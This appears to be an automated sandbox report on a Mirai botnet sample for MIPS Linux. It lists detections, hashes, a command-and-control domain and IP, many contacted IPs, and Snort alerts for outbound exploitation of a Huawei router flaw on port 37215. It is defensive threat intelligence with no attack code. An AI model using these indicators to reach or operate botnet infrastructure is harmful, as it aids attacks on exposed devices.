File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Mirai

Source: Yara match

File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
c0f2UxJCEG.elf	43%	ReversingLabs	Linux.Trojan.Mirai
c0f2UxJCEG.elf	41%	Virustotal		Browse
c0f2UxJCEG.elf	100%	Avira	EXP/ELF.Mirai.Hua.c

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
hajunxz.cc	20%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
hajunxz.cc	45.88.67.38	true	false	20%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	c0f2UxJCEG.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	c0f2UxJCEG.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
157.78.108.66	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
197.67.29.121	unknown	South Africa	16637	MTNNS-ASZA	false
25.5.139.189	unknown	United Kingdom	7922	COMCAST-7922US	false
108.7.158.15	unknown	United States	701	UUNETUS	false
175.119.216.76	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
197.86.54.129	unknown	South Africa	10474	OPTINETZA	false
70.92.228.178	unknown	United States	10796	TWC-10796-MIDWESTUS	false
41.14.214.63	unknown	South Africa	29975	VODACOM-ZA	false
178.81.128.79	unknown	Saudi Arabia	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false
41.44.233.243	unknown	Egypt	8452	TE-ASTE-ASEG	false
186.247.60.96	unknown	Brazil	7738	TelemarNorteLesteSABR	false
41.196.116.146	unknown	Egypt	24863	LINKdotNET-ASEG	false
72.73.7.176	unknown	United States	701	UUNETUS	false
197.215.104.1	unknown	Sierra Leone	37164	ZAIN-SL	false
41.197.85.113	unknown	Rwanda	36934	Broadband-Systems-CorporationRW	false
31.36.92.81	unknown	France	5410	BOUYGTEL-ISPFR	false
197.214.107.223	unknown	Nigeria	198504	LU1AE	false
184.188.161.127	unknown	United States	53760	XT-NEWORLEANSUS	false
162.88.214.56	unknown	United States	33517	DYNDNSUS	false
68.218.111.70	unknown	United States	6389	BELLSOUTH-NET-BLKUS	false
82.25.50.69	unknown	United Kingdom	5089	NTLGB	false
197.123.124.93	unknown	Egypt	36992	ETISALAT-MISREG	false
198.176.29.38	unknown	United States	46785	QUASAR-DATA-CENTERUS	false
157.214.103.167	unknown	United States	4704	SANNETRakutenMobileIncJP	false
187.154.5.192	unknown	Mexico	8151	UninetSAdeCVMX	false
157.203.98.21	unknown	United Kingdom	1759	TSF-IP-CORETeliaFinlandOyjEU	false
211.143.42.111	unknown	China	56047	CMNET-HUNAN-APChinaMobilecommunicationscorporationCN	false
196.100.121.39	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.4.54.27	unknown	Tunisia	5438	ATI-TN	false
109.170.87.134	unknown	Russian Federation	12714	TI-ASMoscowRussiaRU	false
157.227.65.55	unknown	Australia	4704	SANNETRakutenMobileIncJP	false
9.36.142.255	unknown	United States	3356	LEVEL3US	false
41.142.174.173	unknown	Morocco	36903	MT-MPLSMA	false
174.172.74.103	unknown	United States	7922	COMCAST-7922US	false
41.133.63.35	unknown	South Africa	10474	OPTINETZA	false
157.76.253.229	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
41.14.214.48	unknown	South Africa	29975	VODACOM-ZA	false
41.44.233.222	unknown	Egypt	8452	TE-ASTE-ASEG	false
191.73.152.238	unknown	Colombia	26611	COMCELSACO	false
41.196.116.124	unknown	Egypt	24863	LINKdotNET-ASEG	false
194.13.241.113	unknown	Netherlands	15542	ZEELANDNETDELTAFiberNederlandNL	false
96.119.70.62	unknown	United States	7922	COMCAST-7922US	false
213.224.80.72	unknown	Belgium	6848	TELENET-ASBE	false
172.62.186.56	unknown	United States	393494	L3TV-ASUS	false
31.194.100.188	unknown	Italy	3269	ASN-IBSNAZIT	false
45.226.115.236	unknown	Colombia	265861	SISTEMASSATELITALESDECOLOMBIASAESPCO	false
157.227.65.61	unknown	Australia	4704	SANNETRakutenMobileIncJP	false
41.195.126.247	unknown	South Africa	16637	MTNNS-ASZA	false
197.247.167.19	unknown	Morocco	36925	ASMediMA	false
38.51.219.192	unknown	United States	174	COGENT-174US	false
197.234.167.158	unknown	South Africa	37315	CipherWaveZA	false
157.113.214.255	unknown	Japan	9993	CTC-ODCITOCHUTechno-SolutionsCorporationJP	false
193.87.73.97	unknown	Slovakia (SLOVAK Republic)	2607	SANETSlovakAcademicNetworkSK	false
211.60.238.224	unknown	Korea Republic of	9856	WOORIWM-AS-KRWOORIInvestmentSecuritiesKR	false
98.74.118.64	unknown	United States	6389	BELLSOUTH-NET-BLKUS	false
111.19.22.141	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
2.196.140.241	unknown	Italy	16232	ASN-TIMServiceProviderIT	false
154.165.152.121	unknown	Ghana	30986	SCANCOMGH	false
98.157.203.176	unknown	United States	10796	TWC-10796-MIDWESTUS	false
157.214.103.131	unknown	United States	4704	SANNETRakutenMobileIncJP	false
119.193.74.141	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
197.202.209.156	unknown	Algeria	36947	ALGTEL-ASDZ	false
217.219.14.39	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
206.7.37.137	unknown	United States	174	COGENT-174US	false
197.139.229.102	unknown	Kenya	36914	KENET-ASKE	false
157.208.226.36	unknown	United States	12552	IPO-EUSE	false
99.124.36.125	unknown	United States	7018	ATT-INTERNET4US	false
41.85.32.148	unknown	South Africa	22355	FROGFOOTZA	false
197.166.142.42	unknown	Egypt	24863	LINKdotNET-ASEG	false
157.131.68.142	unknown	United States	46375	AS-SONICTELECOMUS	false
181.101.56.150	unknown	Argentina	7303	TelecomArgentinaSAAR	false
157.162.207.144	unknown	Germany	22192	SSHENETUS	false
138.196.253.71	unknown	United States	21727	HAMLINE-EDUUS	false
17.146.110.77	unknown	United States	714	APPLE-ENGINEERINGUS	false
174.66.57.222	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
197.164.175.189	unknown	Egypt	24863	LINKdotNET-ASEG	false
190.176.180.97	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
134.212.196.34	unknown	France	1715	FR-REMIP2000REMIP2000AutonomousSystemEU	false
157.2.30.10	unknown	Japan	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
157.220.202.177	unknown	United States	4704	SANNETRakutenMobileIncJP	false
197.233.177.228	unknown	Namibia	36999	TELECOM-NAMIBIANA	false
99.129.14.217	unknown	United States	7018	ATT-INTERNET4US	false
198.145.140.140	unknown	United States	2044	IINET-2044US	false
178.87.239.182	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
197.214.107.211	unknown	Nigeria	198504	LU1AE	false
64.68.30.170	unknown	United States	16567	NETRIX-16567US	false
66.181.99.134	unknown	United States	6954	NACS-AS6954US	false
197.130.137.31	unknown	Morocco	6713	IAM-ASMA	false
47.135.25.195	unknown	United States	20115	CHARTER-20115US	false
100.217.134.228	unknown	United States	21928	T-MOBILE-AS21928US	false
142.65.195.250	unknown	United States	7834	L3HARRIS-TECHNOLOGIESUS	false
210.62.225.22	unknown	Taiwan; Republic of China (ROC)	1659	ERX-TANET-ASN1TaiwanAcademicNetworkTANetInformationC	false
36.51.234.220	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
41.206.191.219	unknown	South Africa	6453	AS6453US	false
94.151.120.85	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
41.60.172.96	unknown	Mauritius	37146	realtime-asZM	false
41.171.231.114	unknown	South Africa	36937	Neotel-ASZA	false
110.53.232.211	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
144.200.90.178	unknown	Switzerland	559	SWITCHPeeringrequestspeeringswitchchEU	false
41.60.172.99	unknown	Mauritius	37146	realtime-asZM	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.14.214.63	xd.x86	Get hash	malicious	Mirai	Browse
178.81.128.79	jfC6CNEiz4	Get hash	malicious	Gafgyt, Mirai	Browse
157.78.108.66	PPaSstd3ID.elf	Get hash	malicious	Mirai	Browse
197.67.29.121	95LYW3Q1VG.elf	Get hash	malicious	Mirai	Browse
	Tsunami.x86	Get hash	malicious	Mirai	Browse
	gXq4cfbMIx	Get hash	malicious	Unknown	Browse
197.86.54.129	wSMegjZWSJ.elf	Get hash	malicious	Mirai	Browse
	fpkbDaRE8f.elf	Get hash	malicious	Mirai	Browse
	jMbDu3lKYM	Get hash	malicious	Mirai	Browse
	D3P6D8OMZv	Get hash	malicious	Gafgyt, Mirai	Browse
	b103.o	Get hash	malicious	Mirai	Browse
	H15K3xLqOg	Get hash	malicious	Mirai	Browse
	UnHAnaAW.arm7	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
hajunxz.cc	ZHQ3aipm6G.elf	Get hash	malicious	Mirai	Browse	45.88.67.38
	muVijfcgLk.elf	Get hash	malicious	Mirai	Browse	139.177.195.115
	UV2friadsX.elf	Get hash	malicious	Mirai	Browse	195.133.40.208
	N6Yjvc5aZR.elf	Get hash	malicious	Mirai	Browse	195.133.40.208
	fd9l23Qo7O.elf	Get hash	malicious	Mirai	Browse	195.133.40.208
	4PFoiFRJ0u.elf	Get hash	malicious	Mirai	Browse	195.133.40.208
	X8KbawDXcD.elf	Get hash	malicious	Mirai	Browse	195.133.40.208
	2KqkAvq5nW.elf	Get hash	malicious	Mirai	Browse	45.95.55.160
	sx1qjP7IrU.elf	Get hash	malicious	Mirai	Browse	45.95.55.160
	deWmHJb3Gy.elf	Get hash	malicious	Mirai	Browse	45.9.74.88
	uHJTidEkEo.elf	Get hash	malicious	Mirai	Browse	45.9.74.88
	fr2DwAHxIY.elf	Get hash	malicious	Mirai	Browse	45.9.74.88
	98zxzIBQlH.elf	Get hash	malicious	Mirai	Browse	45.9.74.88
	irjYEIp6KG.elf	Get hash	malicious	Mirai	Browse	45.9.74.88
	J3Za3c6EN2.elf	Get hash	malicious	Mirai	Browse	45.9.74.88
	SdR6vL8QVT.elf	Get hash	malicious	Mirai	Browse	45.9.74.88
	oK1u5dCQF2.elf	Get hash	malicious	Mirai	Browse	45.9.74.88
	6JHI4jxLIH.elf	Get hash	malicious	Mirai	Browse	45.9.74.88
	FFCXo7ZjxU.elf	Get hash	malicious	Mirai	Browse	45.9.74.88
	avE1yeVHKn.elf	Get hash	malicious	Mirai	Browse	45.9.74.88

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ODNSoftBankMobileCorpJP	Xm9Nov0jkI.elf	Get hash	malicious	Mirai	Browse	210.254.24.116
	QcyyWMMuSS.elf	Get hash	malicious	Mirai	Browse	164.162.50.13
	xeyYW7Sk01.elf	Get hash	malicious	Mirai, Moobot	Browse	164.162.112.233
	skid.x86.elf	Get hash	malicious	Moobot	Browse	211.8.161.41
	Tn8K02eJ3P.elf	Get hash	malicious	Mirai	Browse	1.5.128.95
	FBSDTLXWIF.elf	Get hash	malicious	Mirai, Moobot	Browse	134.237.193.120
	w0iBC3u0H7.elf	Get hash	malicious	Mirai, Moobot	Browse	157.78.133.51
	9DSC15hWzp.elf	Get hash	malicious	Mirai, Moobot	Browse	165.77.26.149
	Z15BF5W1m0.elf	Get hash	malicious	Mirai	Browse	218.218.100.21
	4YaC1L9R3x.elf	Get hash	malicious	Mirai	Browse	182.159.32.154
	FyFzTLmhj6.elf	Get hash	malicious	Mirai	Browse	210.254.24.117
	DVYf0GsYDZ.elf	Get hash	malicious	Mirai, Moobot	Browse	157.78.204.6
	Gnwglz22Vb.elf	Get hash	malicious	Mirai, Moobot	Browse	157.78.133.78
	FYv143KmBp.elf	Get hash	malicious	Mirai, Moobot	Browse	157.78.108.25
	18tmCW77lg.elf	Get hash	malicious	Mirai, Moobot	Browse	157.78.12.40
	CUqSE7qs3x.elf	Get hash	malicious	Mirai, Moobot	Browse	157.78.121.37
	4dmHG92I7X.elf	Get hash	malicious	Mirai, Moobot	Browse	157.78.133.29
	FOVas18DWe.elf	Get hash	malicious	Mirai, Moobot	Browse	157.78.108.55
	a6fSE2r5ku.elf	Get hash	malicious	Mirai, Moobot	Browse	218.218.53.18
	HT82ndc82C.elf	Get hash	malicious	Mirai, Moobot	Browse	157.78.145.45

Process:	/tmp/c0f2UxJCEG.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	281
Entropy (8bit):	3.589152714769221
Encrypted:	false
SSDEEP:	6:URPtDFYDbVD0Y/VUS/FYDFYD+Mz/VDM/V+4D/VH:IPNaDmS/FQaD+SMfF
MD5:	E8BA35A8C024B3763025576E88ED6867
SHA1:	5C022ED37F718BBDC3F06913489C833AB0087217
SHA-256:	B899B69640F5DFE5108D3B7A424002362999D8CE42BF799D49E968457A7A8E19
SHA-512:	615B9C9BB980D032B2C92F5E27C9A13BDD9080A6852EC8714898396C460BE520A46E039DEFCA4059D62CB2A88B2D8571EE821AA3D2D02DC31AFF5160C1F01F5F
Malicious:	false
Reputation:	low
Preview:	400000-413000 r-xp 00000000 fd:00 531606 /tmp/c0f2UxJCEG.elf.453000-454000 rw-p 00013000 fd:00 531606 /tmp/c0f2UxJCEG.elf.454000-455000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

Source: c0f2UxJCEG.elf	ReversingLabs: Detection: 43%
Source: c0f2UxJCEG.elf	Virustotal: Detection: 40%			Perma Link

Source: Traffic	Snort IDS: 2027758 ET DNS Query for .cc TLD 192.168.2.23:45432 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2404344 ET CNC Feodo Tracker Reported CnC Server TCP group 23 192.168.2.23:47963 -> 91.206.178.68:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41086 -> 197.234.54.65:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46342 -> 41.37.77.16:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59220 -> 41.232.236.107:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35886 -> 154.38.241.192:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41560 -> 41.233.2.97:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50272 -> 41.193.254.111:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35276 -> 41.207.108.11:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58582 -> 41.62.173.92:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56466 -> 41.233.2.25:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37234 -> 156.241.11.180:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41012 -> 197.2.94.204:37215

Source: global traffic	TCP traffic: 197.111.72.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.44.44.137 ports 1,2,3,5,7,37215

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: unknown	TCP traffic detected without corresponding DNS query: 41.30.174.218
Source: unknown	TCP traffic detected without corresponding DNS query: 197.6.235.3
Source: unknown	TCP traffic detected without corresponding DNS query: 41.101.52.58
Source: unknown	TCP traffic detected without corresponding DNS query: 181.187.225.141
Source: unknown	TCP traffic detected without corresponding DNS query: 197.154.142.64
Source: unknown	TCP traffic detected without corresponding DNS query: 41.4.224.216
Source: unknown	TCP traffic detected without corresponding DNS query: 157.143.49.139
Source: unknown	TCP traffic detected without corresponding DNS query: 157.84.189.112
Source: unknown	TCP traffic detected without corresponding DNS query: 91.34.175.252
Source: unknown	TCP traffic detected without corresponding DNS query: 197.60.215.224
Source: unknown	TCP traffic detected without corresponding DNS query: 197.58.6.43
Source: unknown	TCP traffic detected without corresponding DNS query: 197.135.243.210
Source: unknown	TCP traffic detected without corresponding DNS query: 197.156.109.15
Source: unknown	TCP traffic detected without corresponding DNS query: 157.37.81.219
Source: unknown	TCP traffic detected without corresponding DNS query: 197.20.238.201
Source: unknown	TCP traffic detected without corresponding DNS query: 41.143.185.228
Source: unknown	TCP traffic detected without corresponding DNS query: 157.249.195.224
Source: unknown	TCP traffic detected without corresponding DNS query: 41.19.168.239
Source: unknown	TCP traffic detected without corresponding DNS query: 157.33.32.37
Source: unknown	TCP traffic detected without corresponding DNS query: 151.73.102.183
Source: unknown	TCP traffic detected without corresponding DNS query: 91.71.132.191
Source: unknown	TCP traffic detected without corresponding DNS query: 5.247.129.196
Source: unknown	TCP traffic detected without corresponding DNS query: 197.5.38.4
Source: unknown	TCP traffic detected without corresponding DNS query: 197.25.137.94
Source: unknown	TCP traffic detected without corresponding DNS query: 94.144.20.36
Source: unknown	TCP traffic detected without corresponding DNS query: 157.86.209.58
Source: unknown	TCP traffic detected without corresponding DNS query: 157.233.163.133
Source: unknown	TCP traffic detected without corresponding DNS query: 197.207.95.37
Source: unknown	TCP traffic detected without corresponding DNS query: 157.204.26.177
Source: unknown	TCP traffic detected without corresponding DNS query: 94.152.207.238
Source: unknown	TCP traffic detected without corresponding DNS query: 41.79.90.99
Source: unknown	TCP traffic detected without corresponding DNS query: 41.11.156.222
Source: unknown	TCP traffic detected without corresponding DNS query: 157.126.9.224
Source: unknown	TCP traffic detected without corresponding DNS query: 157.46.166.2
Source: unknown	TCP traffic detected without corresponding DNS query: 41.204.180.221
Source: unknown	TCP traffic detected without corresponding DNS query: 41.177.129.5
Source: unknown	TCP traffic detected without corresponding DNS query: 190.112.237.238
Source: unknown	TCP traffic detected without corresponding DNS query: 41.214.132.137
Source: unknown	TCP traffic detected without corresponding DNS query: 196.177.167.14
Source: unknown	TCP traffic detected without corresponding DNS query: 197.98.186.248
Source: unknown	TCP traffic detected without corresponding DNS query: 41.95.213.37
Source: unknown	TCP traffic detected without corresponding DNS query: 37.89.92.149
Source: unknown	TCP traffic detected without corresponding DNS query: 37.164.141.121
Source: unknown	TCP traffic detected without corresponding DNS query: 2.48.176.189
Source: unknown	TCP traffic detected without corresponding DNS query: 197.208.179.11
Source: unknown	TCP traffic detected without corresponding DNS query: 197.2.137.78
Source: unknown	TCP traffic detected without corresponding DNS query: 197.160.40.178
Source: unknown	TCP traffic detected without corresponding DNS query: 41.239.18.149
Source: unknown	TCP traffic detected without corresponding DNS query: 197.204.251.255
Source: unknown	TCP traffic detected without corresponding DNS query: 197.67.207.218

Source: c0f2UxJCEG.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: c0f2UxJCEG.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.390500691514022
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	c0f2UxJCEG.elf
File size:	80080
MD5:	133b400ae9704a221fbf63dca7455565
SHA1:	d0fc3c76071c67a6e5674b20c3f84b375d0d4bb3
SHA256:	8dcf5e470a3fa35c7450ccb4d8087dcd3d7887b0699a0e1dfb5f2704870dfc67
SHA512:	0fafb5852462d7644beb2844b60f849f04f08ee5956fe1bdc400cd425601a69ee77b9692cce9dc7a3ef6f3c9f7107b00cde2f91fb9ea864e85a2ca1e64de7b11
SSDEEP:	1536:jLRAoq2tX9Syyu51dNHF0eBhHyGNKrSY:jVdq2tCuzHi+
TLSH:	1873C61ABF610FF7ECABCC3749A91B45298C651B21A93B757D34C818B64B24F05E38B4
File Content Preview:	.ELF....................`.@.4...x6......4. ...(...............@...@.@(..@(...............0...0E..0E.................Q.td...............................<...'!......'.......................<x..'!... .........9'.. ........................<H..'!.............9

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x11b40	0x0	0x6	AX	16
.fini	PROGBITS	0x411c60	0x11c60	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x411cc0	0x11cc0	0xb80	0x0	0x2	A	16
.ctors	PROGBITS	0x453000	0x13000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x453008	0x13008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x453010	0x13010	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x453014	0x13014	0xc	0x0	0x3	WA	4
.data	PROGBITS	0x453020	0x13020	0x220	0x0	0x3	WA	16
.got	PROGBITS	0x453240	0x13240	0x3cc	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x45360c	0x1360c	0x1c	0x0	0x10000003	WAp	4
.bss	NOBITS	0x453630	0x1360c	0x350	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x72c	0x1360c	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1360c	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x12840	0x12840	5.5009	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x13000	0x453000	0x453000	0x60c	0x980	3.8621	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Start time:	20:02:51
Start date:	14/04/2023
Path:	/tmp/c0f2UxJCEG.elf
Arguments:	/tmp/c0f2UxJCEG.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report c0f2UxJCEG.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.095sAI (deleted)

/tmp/qemu-open.0DNrzD (deleted)

/tmp/qemu-open.0YaPIF (deleted)

/tmp/qemu-open.0eCSME (deleted)

/tmp/qemu-open.0pSWGE (deleted)

/tmp/qemu-open.10iE8C (deleted)

/tmp/qemu-open.16rqpG (deleted)

/tmp/qemu-open.1MU33G (deleted)

/tmp/qemu-open.1OeKeD (deleted)

/tmp/qemu-open.1R5OxG (deleted)

/tmp/qemu-open.1bIpFD (deleted)

/tmp/qemu-open.1hx38K (deleted)

/tmp/qemu-open.246ExE (deleted)

/tmp/qemu-open.2CCOJD (deleted)

/tmp/qemu-open.2Hi4lD (deleted)

/tmp/qemu-open.2R5o8C (deleted)

/tmp/qemu-open.2UujbH (deleted)

/tmp/qemu-open.2efT0D (deleted)

/tmp/qemu-open.2mUs9D (deleted)

/tmp/qemu-open.2nSJvD (deleted)

/tmp/qemu-open.2sK0xD (deleted)

/tmp/qemu-open.2sMLFH (deleted)

/tmp/qemu-open.2uOyJD (deleted)

